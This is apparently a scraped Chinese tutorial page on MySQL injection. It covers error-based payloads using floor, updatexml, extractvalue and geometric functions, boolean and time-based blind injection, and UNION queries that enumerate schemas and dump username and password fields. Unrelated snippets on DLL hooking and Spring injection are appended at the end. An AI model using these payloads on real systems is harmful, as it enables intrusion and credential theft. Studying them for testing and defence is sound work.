Mysql注入方式

2022-05-11 05:28:49 字數 3793 閱讀 3829

0x00 – 報錯注入

mysql 報錯注入, 我們有時候會遇到沒有正常資料回顯的注入. 這時候就需要報錯注入來獲得我們需要的資料.

我們經常用到的有 floor(),updatexml(),extractvalue() 通過查詢資料發現還有一些函式.

由於這三個比較通用, 也就是在大部分 mysql 版本中都有, 其他的有些可能在低版本裡沒有.

floor()

語句:and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

mysql> select 1 and (select 1 from (select count(*),concat(version(),floor(rand

(0)*2))x from information_schema.tables group by x)a);

error 1062 (23000): duplicate entry 『5.5.401』 for key 『group_key』

updatexml()

語句:and (updatexml(1,concat(0x3a,(select user())),1));

mysql> select 1 and (updatexml(1,concat(0x3a,(select user())),1));

error 1105 (hy000): xpath syntax error: 『:root@localhost』

extractvalue()

和 upadtexml() 用法差不多

語句:and extractvalue(1, concat(0x5c, (select user())));

mysql> select 1 and extractvalue(1, concat(0x5c, (select user())));

error 1105 (hy000): xpath syntax error: 『\root@localhost』

geometrycollection() version> mysql4.1

multipoint()

polygon()

linestring()

multipolygon()

multipoint()

multilinestring()

這幾個是 mysql 在 4.1 版本之後引入的一系列空間擴充套件,使其具備了一定的空間處理能力.

語句都一樣就列舉了乙個例子.

語句:and geometrycollection((select * from(select * from(select user())a)b));

mysql> select 1 and geometrycollection((select * from(select * from(select user(

))a)b));

error 1367 (22007): illegal non geometric 『(select `b`.`user()` from (select 『ro

ot@localhost』 as `user()` from dual) `b`)』 value found during parsing

0x01 – 盲注

盲注分為兩種

一種是普通盲注, 一種是基於時間又叫延時注入.

通過一些處理函式將我們需要獲取的資料通過猜解的方式得到的方式.

查詢資料庫and ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1))=ascii碼

查詢使用者長度 and (select length(user()))=12;

查詢資料庫and ascii(substr(database(),位數,1))=ascii;

查詢使用者and 1=(if(ascii(mid(user()from(位數)for(1)))=查詢位數字元的ascii編碼,1,0));

時間盲注

其實就是普通盲注加上了 if 判斷

and if(ascii(mid(user()from(位數)for(1)))=ascii碼,sleep(3),0)

and 1=if(ascii(mid((select user())from(1)for(1)))=114,sleep(3),0);

and 1=(select case when (ascii(mid(user()from(位數)for(1)))=ascii碼) then benchmark(5*4000000,md5(1111)) else 0 end)=1

and 1=if(length(user())=長度,sleep(3),0);

aaa』xor(if(ascii(mid(user()from(位數)for(1)))=查詢位數字元的ascii編碼,sleep(3),0))or』bbb

and sleep(1-abs(sign(ascii(mid(lower(user())from(位數)for(1)))-ascii碼)))

沒有等於符號

每次取乙個字元的 ascii 碼,與列表中的 ascii 碼逐一對比,取符號的絕對值。

如果相等,則符號是 0,絕對值是 0,會延遲。

若不等,則符號是 1 或 – 1,絕對值為 1,不延遲。

然後我們可以通過 py 指令碼來快速得到資料.

0x02 – 常用 mysql 注入語句

查詢資料庫 (mysql>5.0)

mysql 5 以上有內建庫 information_schema,儲存著 mysql 的所有資料庫和表結構資訊

and 1=2 union select 1,2,3,schema_name,5,6,7,8,9,10 from information_schema.schemata limit 0,1

猜表and 1=2 union select 1,2,3,table_name,5,6,7,8,9,10 from information_schema.tables where table_schema=資料庫(十六進製制) limit 0(開始的記錄,0為第乙個開始記錄),1(顯示1條記錄)

猜欄位and 1=2 union select 1,2,3,column_name,5,6,7,8,9,10 from information_schema.columns where table_name=表名(十六進製制)limit 0,1

暴密碼and 1=2 union select 1,2,3,使用者名稱段,5,6,7,密碼段,8,9 from 表名 limit 0,1

高階用法(乙個可用字段顯示兩個資料內容):

union select 1,2,3concat(使用者名稱段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1

system_user() 系統使用者名稱

user() 使用者名稱

current_user當前使用者名稱

session_user()連線資料庫的使用者名稱

database() 資料庫名

version() mysql 資料庫版本

load_file() mysql 讀取本地檔案的函式

@@datadir 讀取資料庫路徑

@@basedir mysql 安裝路徑

@@version_compile_os 作業系統 windows server 2003

判斷是否具有讀寫許可權

and (select count(*) from mysql.user)>0/*

and (select count(file_priv) from mysql.user)>0/*

DLL注入方式

方法 一 安裝鉤子 1 執行a.exe,a.exe中呼叫setwindowshookex 或將set放入my.dll的匯出函式中,此處呼叫該匯出函式 進行鉤子安裝 2 執行b.exe,當向b.exe傳送相應訊息時,鉤子勾取訊息,並呼叫鉤子過程 位於my.dll檔案中 呼叫鉤子過程時系統便會強制將dl...

sql 注入方式

1.尋找目標 目標 2.測試目標 and 1 1 返回正常 and 1 2 返回異常 and 1 select min id from admin and 1 select min id from admin 返回正常 說明存在 and 1 select min id from admin wher...

spring注入方式

一 二 三種注入方式 1.通過set方法賦值 賦值為物件2.通過構造器賦值 3.通過p標籤賦值 當屬性值的型別相同時,常需要type來區分 注意 必須提供無參構造給bean4.自動裝配 自動尋找beanid 類的屬性值 自動尋找其他bean的型別 class 是否與該類的ref屬性型別一致 是否與該...